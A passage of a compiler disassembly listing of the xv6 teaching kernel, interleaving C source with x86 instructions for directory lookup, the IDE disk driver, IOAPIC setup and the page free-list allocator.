80101b71: e8 07 fc ff ff call 8010177d <iunlockput>
return 0;
80101b76: 83 c4 10 add $0x10,%esp
80101b79: 89 fe mov %edi,%esi
80101b7b: eb 85 jmp 80101b02 <namex+0x51>
if(nameiparent){
80101b7d: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80101b81: 0f 84 7b ff ff ff je 80101b02 <namex+0x51>
iput(ip);
80101b87: 83 ec 0c sub $0xc,%esp
80101b8a: 56 push %esi
80101b8b: e8 49 fb ff ff call 801016d9 <iput>
return 0;
80101b90: 83 c4 10 add $0x10,%esp
80101b93: 89 de mov %ebx,%esi
80101b95: e9 68 ff ff ff jmp 80101b02 <namex+0x51>
80101b9a <dirlink>:
{
80101b9a: f3 0f 1e fb endbr32
80101b9e: 55 push %ebp
80101b9f: 89 e5 mov %esp,%ebp
80101ba1: 57 push %edi
80101ba2: 56 push %esi
80101ba3: 53 push %ebx
80101ba4: 83 ec 20 sub $0x20,%esp
80101ba7: 8b 5d 08 mov 0x8(%ebp),%ebx
80101baa: 8b 7d 0c mov 0xc(%ebp),%edi
if((ip = dirlookup(dp, name, 0)) != 0){
80101bad: 6a 00 push $0x0
80101baf: 57 push %edi
80101bb0: 53 push %ebx
80101bb1: e8 63 fe ff ff call 80101a19 <dirlookup>
80101bb6: 83 c4 10 add $0x10,%esp
80101bb9: 85 c0 test %eax,%eax
80101bbb: 75 07 jne 80101bc4 <dirlink+0x2a>
for(off = 0; off < dp->size; off += sizeof(de)){
80101bbd: b8 00 00 00 00 mov $0x0,%eax
80101bc2: eb 23 jmp 80101be7 <dirlink+0x4d>
iput(ip);
80101bc4: 83 ec 0c sub $0xc,%esp
80101bc7: 50 push %eax
80101bc8: e8 0c fb ff ff call 801016d9 <iput>
return -1;
80101bcd: 83 c4 10 add $0x10,%esp
80101bd0: b8 ff ff ff ff mov $0xffffffff,%eax
80101bd5: eb 63 jmp 80101c3a <dirlink+0xa0>
panic("dirlink read");
80101bd7: 83 ec 0c sub $0xc,%esp
80101bda: 68 68 6a 10 80 push $0x80106a68
80101bdf: e8 78 e7 ff ff call 8010035c <panic>
for(off = 0; off < dp->size; off += sizeof(de)){
80101be4: 8d 46 10 lea 0x10(%esi),%eax
80101be7: 89 c6 mov %eax,%esi
80101be9: 39 43 58 cmp %eax,0x58(%ebx)
80101bec: 76 1c jbe 80101c0a <dirlink+0x70>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101bee: 6a 10 push $0x10
80101bf0: 50 push %eax
80101bf1: 8d 45 d8 lea -0x28(%ebp),%eax
80101bf4: 50 push %eax
80101bf5: 53 push %ebx
80101bf6: e8 d5 fb ff ff call 801017d0 <readi>
80101bfb: 83 c4 10 add $0x10,%esp
80101bfe: 83 f8 10 cmp $0x10,%eax
80101c01: 75 d4 jne 80101bd7 <dirlink+0x3d>
if(de.inum == 0)
80101c03: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101c08: 75 da jne 80101be4 <dirlink+0x4a>
strncpy(de.name, name, DIRSIZ);
80101c0a: 83 ec 04 sub $0x4,%esp
80101c0d: 6a 0e push $0xe
80101c0f: 57 push %edi
80101c10: 8d 7d d8 lea -0x28(%ebp),%edi
80101c13: 8d 45 da lea -0x26(%ebp),%eax
80101c16: 50 push %eax
80101c17: e8 e4 24 00 00 call 80104100 <strncpy>
de.inum = inum;
80101c1c: 8b 45 10 mov 0x10(%ebp),%eax
80101c1f: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101c23: 6a 10 push $0x10
80101c25: 56 push %esi
80101c26: 57 push %edi
80101c27: 53 push %ebx
80101c28: e8 a4 fc ff ff call 801018d1 <writei>
80101c2d: 83 c4 20 add $0x20,%esp
80101c30: 83 f8 10 cmp $0x10,%eax
80101c33: 75 0d jne 80101c42 <dirlink+0xa8>
return 0;
80101c35: b8 00 00 00 00 mov $0x0,%eax
}
80101c3a: 8d 65 f4 lea -0xc(%ebp),%esp
80101c3d: 5b pop %ebx
80101c3e: 5e pop %esi
80101c3f: 5f pop %edi
80101c40: 5d pop %ebp
80101c41: c3 ret
panic("dirlink");
80101c42: 83 ec 0c sub $0xc,%esp
80101c45: 68 58 70 10 80 push $0x80107058
80101c4a: e8 0d e7 ff ff call 8010035c <panic>
80101c4f <namei>:
struct inode*
namei(char *path)
{
80101c4f: f3 0f 1e fb endbr32
80101c53: 55 push %ebp
80101c54: 89 e5 mov %esp,%ebp
80101c56: 83 ec 18 sub $0x18,%esp
char name[DIRSIZ];
return namex(path, 0, name);
80101c59: 8d 4d ea lea -0x16(%ebp),%ecx
80101c5c: ba 00 00 00 00 mov $0x0,%edx
80101c61: 8b 45 08 mov 0x8(%ebp),%eax
80101c64: e8 48 fe ff ff call 80101ab1 <namex>
}
80101c69: c9 leave
80101c6a: c3 ret
80101c6b <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101c6b: f3 0f 1e fb endbr32
80101c6f: 55 push %ebp
80101c70: 89 e5 mov %esp,%ebp
80101c72: 83 ec 08 sub $0x8,%esp
return namex(path, 1, name);
80101c75: 8b 4d 0c mov 0xc(%ebp),%ecx
80101c78: ba 01 00 00 00 mov $0x1,%edx
80101c7d: 8b 45 08 mov 0x8(%ebp),%eax
80101c80: e8 2c fe ff ff call 80101ab1 <namex>
}
80101c85: c9 leave
80101c86: c3 ret
80101c87 <idewait>:
static void idestart(struct buf*);
// Wait for IDE disk to become ready.
static int
idewait(int checkerr)
{
80101c87: 89 c1 mov %eax,%ecx
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101c89: ba f7 01 00 00 mov $0x1f7,%edx
80101c8e: ec in (%dx),%al
80101c8f: 89 c2 mov %eax,%edx
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101c91: 83 e0 c0 and $0xffffffc0,%eax
80101c94: 3c 40 cmp $0x40,%al
80101c96: 75 f1 jne 80101c89 <idewait+0x2>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
80101c98: 85 c9 test %ecx,%ecx
80101c9a: 74 0a je 80101ca6 <idewait+0x1f>
80101c9c: f6 c2 21 test $0x21,%dl
80101c9f: 75 08 jne 80101ca9 <idewait+0x22>
return -1;
return 0;
80101ca1: b9 00 00 00 00 mov $0x0,%ecx
}
80101ca6: 89 c8 mov %ecx,%eax
80101ca8: c3 ret
return -1;
80101ca9: b9 ff ff ff ff mov $0xffffffff,%ecx
80101cae: eb f6 jmp 80101ca6 <idewait+0x1f>
80101cb0 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101cb0: 55 push %ebp
80101cb1: 89 e5 mov %esp,%ebp
80101cb3: 56 push %esi
80101cb4: 53 push %ebx
if(b == 0)
80101cb5: 85 c0 test %eax,%eax
80101cb7: 0f 84 91 00 00 00 je 80101d4e <idestart+0x9e>
80101cbd: 89 c6 mov %eax,%esi
panic("idestart");
if(b->blockno >= FSSIZE)
80101cbf: 8b 58 08 mov 0x8(%eax),%ebx
80101cc2: 81 fb 9f 0f 00 00 cmp $0xf9f,%ebx
80101cc8: 0f 87 8d 00 00 00 ja 80101d5b <idestart+0xab>
int read_cmd = (sector_per_block == 1) ? IDE_CMD_READ : IDE_CMD_RDMUL;
int write_cmd = (sector_per_block == 1) ? IDE_CMD_WRITE : IDE_CMD_WRMUL;
if (sector_per_block > 7) panic("idestart");
idewait(0);
80101cce: b8 00 00 00 00 mov $0x0,%eax
80101cd3: e8 af ff ff ff call 80101c87 <idewait>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101cd8: b8 00 00 00 00 mov $0x0,%eax
80101cdd: ba f6 03 00 00 mov $0x3f6,%edx
80101ce2: ee out %al,(%dx)
80101ce3: b8 01 00 00 00 mov $0x1,%eax
80101ce8: ba f2 01 00 00 mov $0x1f2,%edx
80101ced: ee out %al,(%dx)
80101cee: ba f3 01 00 00 mov $0x1f3,%edx
80101cf3: 89 d8 mov %ebx,%eax
80101cf5: ee out %al,(%dx)
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101cf6: 89 d8 mov %ebx,%eax
80101cf8: c1 f8 08 sar $0x8,%eax
80101cfb: ba f4 01 00 00 mov $0x1f4,%edx
80101d00: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
80101d01: 89 d8 mov %ebx,%eax
80101d03: c1 f8 10 sar $0x10,%eax
80101d06: ba f5 01 00 00 mov $0x1f5,%edx
80101d0b: ee out %al,(%dx)
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
80101d0c: 0f b6 46 04 movzbl 0x4(%esi),%eax
80101d10: c1 e0 04 shl $0x4,%eax
80101d13: 83 e0 10 and $0x10,%eax
80101d16: c1 fb 18 sar $0x18,%ebx
80101d19: 83 e3 0f and $0xf,%ebx
80101d1c: 09 d8 or %ebx,%eax
80101d1e: 83 c8 e0 or $0xffffffe0,%eax
80101d21: ba f6 01 00 00 mov $0x1f6,%edx
80101d26: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80101d27: f6 06 04 testb $0x4,(%esi)
80101d2a: 74 3c je 80101d68 <idestart+0xb8>
80101d2c: b8 30 00 00 00 mov $0x30,%eax
80101d31: ba f7 01 00 00 mov $0x1f7,%edx
80101d36: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
80101d37: 83 c6 5c add $0x5c,%esi
asm volatile("cld; rep outsl" :
80101d3a: b9 80 00 00 00 mov $0x80,%ecx
80101d3f: ba f0 01 00 00 mov $0x1f0,%edx
80101d44: fc cld
80101d45: f3 6f rep outsl %ds:(%esi),(%dx)
} else {
outb(0x1f7, read_cmd);
}
}
80101d47: 8d 65 f8 lea -0x8(%ebp),%esp
80101d4a: 5b pop %ebx
80101d4b: 5e pop %esi
80101d4c: 5d pop %ebp
80101d4d: c3 ret
panic("idestart");
80101d4e: 83 ec 0c sub $0xc,%esp
80101d51: 68 cb 6a 10 80 push $0x80106acb
80101d56: e8 01 e6 ff ff call 8010035c <panic>
panic("incorrect blockno");
80101d5b: 83 ec 0c sub $0xc,%esp
80101d5e: 68 d4 6a 10 80 push $0x80106ad4
80101d63: e8 f4 e5 ff ff call 8010035c <panic>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101d68: b8 20 00 00 00 mov $0x20,%eax
80101d6d: ba f7 01 00 00 mov $0x1f7,%edx
80101d72: ee out %al,(%dx)
}
80101d73: eb d2 jmp 80101d47 <idestart+0x97>
80101d75 <ideinit>:
{
80101d75: f3 0f 1e fb endbr32
80101d79: 55 push %ebp
80101d7a: 89 e5 mov %esp,%ebp
80101d7c: 83 ec 10 sub $0x10,%esp
initlock(&idelock, "ide");
80101d7f: 68 e6 6a 10 80 push $0x80106ae6
80101d84: 68 80 a5 10 80 push $0x8010a580
80101d89: e8 3b 20 00 00 call 80103dc9 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
80101d8e: 83 c4 08 add $0x8,%esp
80101d91: a1 00 2d 11 80 mov 0x80112d00,%eax
80101d96: 83 e8 01 sub $0x1,%eax
80101d99: 50 push %eax
80101d9a: 6a 0e push $0xe
80101d9c: e8 5a 02 00 00 call 80101ffb <ioapicenable>
idewait(0);
80101da1: b8 00 00 00 00 mov $0x0,%eax
80101da6: e8 dc fe ff ff call 80101c87 <idewait>
80101dab: b8 f0 ff ff ff mov $0xfffffff0,%eax
80101db0: ba f6 01 00 00 mov $0x1f6,%edx
80101db5: ee out %al,(%dx)
for(i=0; i<1000; i++){
80101db6: 83 c4 10 add $0x10,%esp
80101db9: b9 00 00 00 00 mov $0x0,%ecx
80101dbe: eb 03 jmp 80101dc3 <ideinit+0x4e>
80101dc0: 83 c1 01 add $0x1,%ecx
80101dc3: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx
80101dc9: 7f 14 jg 80101ddf <ideinit+0x6a>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101dcb: ba f7 01 00 00 mov $0x1f7,%edx
80101dd0: ec in (%dx),%al
if(inb(0x1f7) != 0){
80101dd1: 84 c0 test %al,%al
80101dd3: 74 eb je 80101dc0 <ideinit+0x4b>
havedisk1 = 1;
80101dd5: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80101ddc: 00 00 00
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101ddf: b8 e0 ff ff ff mov $0xffffffe0,%eax
80101de4: ba f6 01 00 00 mov $0x1f6,%edx
80101de9: ee out %al,(%dx)
}
80101dea: c9 leave
80101deb: c3 ret
80101dec <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
80101dec: f3 0f 1e fb endbr32
80101df0: 55 push %ebp
80101df1: 89 e5 mov %esp,%ebp
80101df3: 57 push %edi
80101df4: 53 push %ebx
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80101df5: 83 ec 0c sub $0xc,%esp
80101df8: 68 80 a5 10 80 push $0x8010a580
80101dfd: e8 17 21 00 00 call 80103f19 <acquire>
if((b = idequeue) == 0){
80101e02: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
80101e08: 83 c4 10 add $0x10,%esp
80101e0b: 85 db test %ebx,%ebx
80101e0d: 74 48 je 80101e57 <ideintr+0x6b>
release(&idelock);
return;
}
idequeue = b->qnext;
80101e0f: 8b 43 58 mov 0x58(%ebx),%eax
80101e12: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80101e17: f6 03 04 testb $0x4,(%ebx)
80101e1a: 74 4d je 80101e69 <ideintr+0x7d>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
80101e1c: 8b 03 mov (%ebx),%eax
80101e1e: 83 c8 02 or $0x2,%eax
b->flags &= ~B_DIRTY;
80101e21: 83 e0 fb and $0xfffffffb,%eax
80101e24: 89 03 mov %eax,(%ebx)
wakeup(b);
80101e26: 83 ec 0c sub $0xc,%esp
80101e29: 53 push %ebx
80101e2a: e8 24 1d 00 00 call 80103b53 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
80101e2f: a1 64 a5 10 80 mov 0x8010a564,%eax
80101e34: 83 c4 10 add $0x10,%esp
80101e37: 85 c0 test %eax,%eax
80101e39: 74 05 je 80101e40 <ideintr+0x54>
idestart(idequeue);
80101e3b: e8 70 fe ff ff call 80101cb0 <idestart>
release(&idelock);
80101e40: 83 ec 0c sub $0xc,%esp
80101e43: 68 80 a5 10 80 push $0x8010a580
80101e48: e8 35 21 00 00 call 80103f82 <release>
80101e4d: 83 c4 10 add $0x10,%esp
}
80101e50: 8d 65 f8 lea -0x8(%ebp),%esp
80101e53: 5b pop %ebx
80101e54: 5f pop %edi
80101e55: 5d pop %ebp
80101e56: c3 ret
release(&idelock);
80101e57: 83 ec 0c sub $0xc,%esp
80101e5a: 68 80 a5 10 80 push $0x8010a580
80101e5f: e8 1e 21 00 00 call 80103f82 <release>
return;
80101e64: 83 c4 10 add $0x10,%esp
80101e67: eb e7 jmp 80101e50 <ideintr+0x64>
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80101e69: b8 01 00 00 00 mov $0x1,%eax
80101e6e: e8 14 fe ff ff call 80101c87 <idewait>
80101e73: 85 c0 test %eax,%eax
80101e75: 78 a5 js 80101e1c <ideintr+0x30>
insl(0x1f0, b->data, BSIZE/4);
80101e77: 8d 7b 5c lea 0x5c(%ebx),%edi
asm volatile("cld; rep insl" :
80101e7a: b9 80 00 00 00 mov $0x80,%ecx
80101e7f: ba f0 01 00 00 mov $0x1f0,%edx
80101e84: fc cld
80101e85: f3 6d rep insl (%dx),%es:(%edi)
}
80101e87: eb 93 jmp 80101e1c <ideintr+0x30>
80101e89 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80101e89: f3 0f 1e fb endbr32
80101e8d: 55 push %ebp
80101e8e: 89 e5 mov %esp,%ebp
80101e90: 53 push %ebx
80101e91: 83 ec 10 sub $0x10,%esp
80101e94: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
80101e97: 8d 43 0c lea 0xc(%ebx),%eax
80101e9a: 50 push %eax
80101e9b: e8 d7 1e 00 00 call 80103d77 <holdingsleep>
80101ea0: 83 c4 10 add $0x10,%esp
80101ea3: 85 c0 test %eax,%eax
80101ea5: 74 37 je 80101ede <iderw+0x55>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
80101ea7: 8b 03 mov (%ebx),%eax
80101ea9: 83 e0 06 and $0x6,%eax
80101eac: 83 f8 02 cmp $0x2,%eax
80101eaf: 74 3a je 80101eeb <iderw+0x62>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
80101eb1: 83 7b 04 00 cmpl $0x0,0x4(%ebx)
80101eb5: 74 09 je 80101ec0 <iderw+0x37>
80101eb7: 83 3d 60 a5 10 80 00 cmpl $0x0,0x8010a560
80101ebe: 74 38 je 80101ef8 <iderw+0x6f>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
80101ec0: 83 ec 0c sub $0xc,%esp
80101ec3: 68 80 a5 10 80 push $0x8010a580
80101ec8: e8 4c 20 00 00 call 80103f19 <acquire>
// Append b to idequeue.
b->qnext = 0;
80101ecd: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80101ed4: 83 c4 10 add $0x10,%esp
80101ed7: ba 64 a5 10 80 mov $0x8010a564,%edx
80101edc: eb 2a jmp 80101f08 <iderw+0x7f>
panic("iderw: buf not locked");
80101ede: 83 ec 0c sub $0xc,%esp
80101ee1: 68 ea 6a 10 80 push $0x80106aea
80101ee6: e8 71 e4 ff ff call 8010035c <panic>
panic("iderw: nothing to do");
80101eeb: 83 ec 0c sub $0xc,%esp
80101eee: 68 00 6b 10 80 push $0x80106b00
80101ef3: e8 64 e4 ff ff call 8010035c <panic>
panic("iderw: ide disk 1 not present");
80101ef8: 83 ec 0c sub $0xc,%esp
80101efb: 68 15 6b 10 80 push $0x80106b15
80101f00: e8 57 e4 ff ff call 8010035c <panic>
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80101f05: 8d 50 58 lea 0x58(%eax),%edx
80101f08: 8b 02 mov (%edx),%eax
80101f0a: 85 c0 test %eax,%eax
80101f0c: 75 f7 jne 80101f05 <iderw+0x7c>
;
*pp = b;
80101f0e: 89 1a mov %ebx,(%edx)
// Start disk if necessary.
if(idequeue == b)
80101f10: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564
80101f16: 75 1a jne 80101f32 <iderw+0xa9>
idestart(b);
80101f18: 89 d8 mov %ebx,%eax
80101f1a: e8 91 fd ff ff call 80101cb0 <idestart>
80101f1f: eb 11 jmp 80101f32 <iderw+0xa9>
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
sleep(b, &idelock);
80101f21: 83 ec 08 sub $0x8,%esp
80101f24: 68 80 a5 10 80 push $0x8010a580
80101f29: 53 push %ebx
80101f2a: e8 d2 19 00 00 call 80103901 <sleep>
80101f2f: 83 c4 10 add $0x10,%esp
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80101f32: 8b 03 mov (%ebx),%eax
80101f34: 83 e0 06 and $0x6,%eax
80101f37: 83 f8 02 cmp $0x2,%eax
80101f3a: 75 e5 jne 80101f21 <iderw+0x98>
}
release(&idelock);
80101f3c: 83 ec 0c sub $0xc,%esp
80101f3f: 68 80 a5 10 80 push $0x8010a580
80101f44: e8 39 20 00 00 call 80103f82 <release>
}
80101f49: 83 c4 10 add $0x10,%esp
80101f4c: 8b 5d fc mov -0x4(%ebp),%ebx
80101f4f: c9 leave
80101f50: c3 ret
80101f51 <ioapicread>:
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
80101f51: 8b 15 34 26 11 80 mov 0x80112634,%edx
80101f57: 89 02 mov %eax,(%edx)
return ioapic->data;
80101f59: a1 34 26 11 80 mov 0x80112634,%eax
80101f5e: 8b 40 10 mov 0x10(%eax),%eax
}
80101f61: c3 ret
80101f62 <ioapicwrite>:
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80101f62: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
80101f68: 89 01 mov %eax,(%ecx)
ioapic->data = data;
80101f6a: a1 34 26 11 80 mov 0x80112634,%eax
80101f6f: 89 50 10 mov %edx,0x10(%eax)
}
80101f72: c3 ret
80101f73 <ioapicinit>:
void
ioapicinit(void)
{
80101f73: f3 0f 1e fb endbr32
80101f77: 55 push %ebp
80101f78: 89 e5 mov %esp,%ebp
80101f7a: 57 push %edi
80101f7b: 56 push %esi
80101f7c: 53 push %ebx
80101f7d: 83 ec 0c sub $0xc,%esp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
80101f80: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634
80101f87: 00 c0 fe
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80101f8a: b8 01 00 00 00 mov $0x1,%eax
80101f8f: e8 bd ff ff ff call 80101f51 <ioapicread>
80101f94: c1 e8 10 shr $0x10,%eax
80101f97: 0f b6 f8 movzbl %al,%edi
id = ioapicread(REG_ID) >> 24;
80101f9a: b8 00 00 00 00 mov $0x0,%eax
80101f9f: e8 ad ff ff ff call 80101f51 <ioapicread>
80101fa4: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80101fa7: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx
80101fae: 39 c2 cmp %eax,%edx
80101fb0: 75 2f jne 80101fe1 <ioapicinit+0x6e>
{
80101fb2: bb 00 00 00 00 mov $0x0,%ebx
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80101fb7: 39 fb cmp %edi,%ebx
80101fb9: 7f 38 jg 80101ff3 <ioapicinit+0x80>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80101fbb: 8d 53 20 lea 0x20(%ebx),%edx
80101fbe: 81 ca 00 00 01 00 or $0x10000,%edx
80101fc4: 8d 74 1b 10 lea 0x10(%ebx,%ebx,1),%esi
80101fc8: 89 f0 mov %esi,%eax
80101fca: e8 93 ff ff ff call 80101f62 <ioapicwrite>
ioapicwrite(REG_TABLE+2*i+1, 0);
80101fcf: 8d 46 01 lea 0x1(%esi),%eax
80101fd2: ba 00 00 00 00 mov $0x0,%edx
80101fd7: e8 86 ff ff ff call 80101f62 <ioapicwrite>
for(i = 0; i <= maxintr; i++){
80101fdc: 83 c3 01 add $0x1,%ebx
80101fdf: eb d6 jmp 80101fb7 <ioapicinit+0x44>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80101fe1: 83 ec 0c sub $0xc,%esp
80101fe4: 68 34 6b 10 80 push $0x80106b34
80101fe9: e8 3b e6 ff ff call 80100629 <cprintf>
80101fee: 83 c4 10 add $0x10,%esp
80101ff1: eb bf jmp 80101fb2 <ioapicinit+0x3f>
}
}
80101ff3: 8d 65 f4 lea -0xc(%ebp),%esp
80101ff6: 5b pop %ebx
80101ff7: 5e pop %esi
80101ff8: 5f pop %edi
80101ff9: 5d pop %ebp
80101ffa: c3 ret
80101ffb <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
80101ffb: f3 0f 1e fb endbr32
80101fff: 55 push %ebp
80102000: 89 e5 mov %esp,%ebp
80102002: 53 push %ebx
80102003: 83 ec 04 sub $0x4,%esp
80102006: 8b 45 08 mov 0x8(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
80102009: 8d 50 20 lea 0x20(%eax),%edx
8010200c: 8d 5c 00 10 lea 0x10(%eax,%eax,1),%ebx
80102010: 89 d8 mov %ebx,%eax
80102012: e8 4b ff ff ff call 80101f62 <ioapicwrite>
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
80102017: 8b 55 0c mov 0xc(%ebp),%edx
8010201a: c1 e2 18 shl $0x18,%edx
8010201d: 8d 43 01 lea 0x1(%ebx),%eax
80102020: e8 3d ff ff ff call 80101f62 <ioapicwrite>
}
80102025: 83 c4 04 add $0x4,%esp
80102028: 5b pop %ebx
80102029: 5d pop %ebp
8010202a: c3 ret
8010202b <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
8010202b: f3 0f 1e fb endbr32
8010202f: 55 push %ebp
80102030: 89 e5 mov %esp,%ebp
80102032: 53 push %ebx
80102033: 83 ec 04 sub $0x4,%esp
80102036: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
80102039: f7 c3 ff 0f 00 00 test $0xfff,%ebx
8010203f: 75 4c jne 8010208d <kfree+0x62>
80102041: 81 fb a8 55 11 80 cmp $0x801155a8,%ebx
80102047: 72 44 jb 8010208d <kfree+0x62>
80102049: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
8010204f: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102054: 77 37 ja 8010208d <kfree+0x62>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102056: 83 ec 04 sub $0x4,%esp
80102059: 68 00 10 00 00 push $0x1000
8010205e: 6a 01 push $0x1
80102060: 53 push %ebx
80102061: e8 67 1f 00 00 call 80103fcd <memset>
if(kmem.use_lock)
80102066: 83 c4 10 add $0x10,%esp
80102069: 83 3d 74 26 11 80 00 cmpl $0x0,0x80112674
80102070: 75 28 jne 8010209a <kfree+0x6f>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102072: a1 78 26 11 80 mov 0x80112678,%eax
80102077: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
80102079: 89 1d 78 26 11 80 mov %ebx,0x80112678
if(kmem.use_lock)
8010207f: 83 3d 74 26 11 80 00 cmpl $0x0,0x80112674
80102086: 75 24 jne 801020ac <kfree+0x81>
release(&kmem.lock);
}
80102088: 8b 5d fc mov -0x4(%ebp),%ebx
8010208b: c9 leave
8010208c: c3 ret
panic("kfree");
8010208d: 83 ec 0c sub $0xc,%esp
80102090: 68 66 6b 10 80 push $0x80106b66
80102095: e8 c2 e2 ff ff call 8010035c <panic>
acquire(&kmem.lock);
8010209a: 83 ec 0c sub $0xc,%esp
8010209d: 68 40 26 11 80 push $0x80112640
801020a2: e8 72 1e 00 00 call 80103f19 <acquire>
801020a7: 83 c4 10 add $0x10,%esp
801020aa: eb c6 jmp 80102072 <kfree+0x47>
release(&kmem.lock);
801020ac: 83 ec 0c sub $0xc,%esp
801020af: 68 40 26 11 80 push $0x80112640
801020b4: e8 c9 1e 00 00 call 80103f82 <release>
801020b9: 83 c4 10 add $0x10,%esp
}
801020bc: eb ca jmp 80102088 <kfree+0x5d>
801020be <freerange>:
{
801020be: f3 0f 1e fb endbr32
801020c2: 55 push %ebp
801020c3: 89 e5 mov %esp,%ebp
801020c5: 56 push %esi
801020c6: 53 push %ebx
801020c7: 8b 5d 0c mov 0xc(%ebp),%ebx
p = (char*)PGROUNDUP((uint)vstart);
801020ca: 8b 45 08 mov 0x8(%ebp),%eax
801020cd: 05 ff 0f 00 00 add $0xfff,%eax
801020d2: 25 00 f0 ff ff and $0xfffff000,%eax
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801020d7: 8d b0 00 10 00 00 lea 0x1000(%eax),%esi
801020dd: 39 de cmp %ebx,%esi
801020df: 77 10 ja 801020f1 <freerange+0x33>
kfree(p);
801020e1: 83 ec 0c sub $0xc,%esp
801020e4: 50 push %eax
801020e5: e8 41 ff ff ff call 8010202b <kfree>
801020ea: 83 c4 10 add $0x10,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801020ed: 89 f0 mov %esi,%eax
801020ef: eb e6 jmp 801020d7 <freerange+0x19>
}
801020f1: 8d 65 f8 lea -0x8(%ebp),%esp
801020f4: 5b pop %ebx
801020f5: 5e pop %esi
801020f6: 5d pop %ebp
801020f7: c3 ret
801020f8 <kinit1>:
{
801020f8: f3 0f 1e fb endbr32
801020fc: 55 push %ebp
801020fd: 89 e5 mov %esp,%ebp
801020ff: 83 ec 10 sub $0x10,%esp
initlock(&kmem.lock, "kmem");
80102102: 68 6c 6b 10 80 push $0x80106b6c
80102107: 68 40 26 11 80 push $0x80112640
8010210c: e8 b8 1c 00 00 call 80103dc9 <initlock>
kmem.use_lock = 0;
80102111: c7 05 74 26 11 80 00 movl $0x0,0x80112674
80102118: 00 00 00
freerange(vstart, vend);
8010211b: 83 c4 08 add $0x8,%esp
8010211e: ff 75 0c pushl 0xc(%ebp)
80102121: ff 75 08 pushl 0x8(%ebp)
80102124: e8 95 ff ff ff call 801020be <freerange>
}
80102129: 83 c4 10 add $0x10,%esp
8010212c: c9 leave
8010212d: c3 ret
8010212e <kinit2>:
{
8010212e: f3 0f 1e fb endbr32
80102132: 55 push %ebp
80102133: 89 e5 mov %esp,%ebp
80102135: 83 ec 10 sub $0x10,%esp
